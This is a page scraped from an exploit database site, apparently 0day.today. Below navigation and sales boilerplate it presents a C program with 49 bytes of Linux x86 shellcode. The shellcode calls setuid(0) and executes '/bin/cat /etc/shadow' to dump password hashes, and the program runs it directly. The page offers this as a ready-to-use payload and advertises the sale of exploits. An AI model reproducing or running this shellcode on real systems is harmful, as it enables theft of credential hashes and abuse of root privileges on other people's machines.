0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
linux/x86 setuid(0) & execve(/bin/cat /etc/shadow) 49 bytes
[===========================================================
linux/x86 setuid(0) & execve(/bin/cat /etc/shadow) 49 bytes
===========================================================
#include <stdio.h>
/*
linux/x86 ; setuid(0) & execve(/bin/cat /etc/shadow) 49 bytes
written by ka0x
lun sep 21 16:40:16 CEST 2009
*/
int main()
{
char shellcode[] =
"\x31\xdb" // xor ebx,ebx
"\x6a\x17" // push byte 17h
"\x58" // pop eax
"\xcd\x80" // int 0x80
"\x8d\x43\x0b" // lea eax,[ebx+0xb]
"\x99" // cdq
"\x52" // push edx
"\x68\x2f\x63\x61\x74" // push dword 0x7461632f
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f
"\x89\xe3" // mov ebx,esp
"\x52" // push edx
"\x68\x61\x64\x6f\x77" // push dword 0x776f6461
"\x68\x2f\x2f\x73\x68" // push dword 0x68732f2f
"\x68\x2f\x65\x74\x63" // push dword 0x6374652f
"\x89\xe1" // mov ecx,esp
"\x52" // push edx
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx,esp
"\xcd\x80" ; // int 80h
printf("[*] ShellCode size (bytes): %d\n\n", sizeof(shellcode)-1 );
(*(void(*)()) shellcode)();
return 0;
}
# 0day.today [2024-11-14] #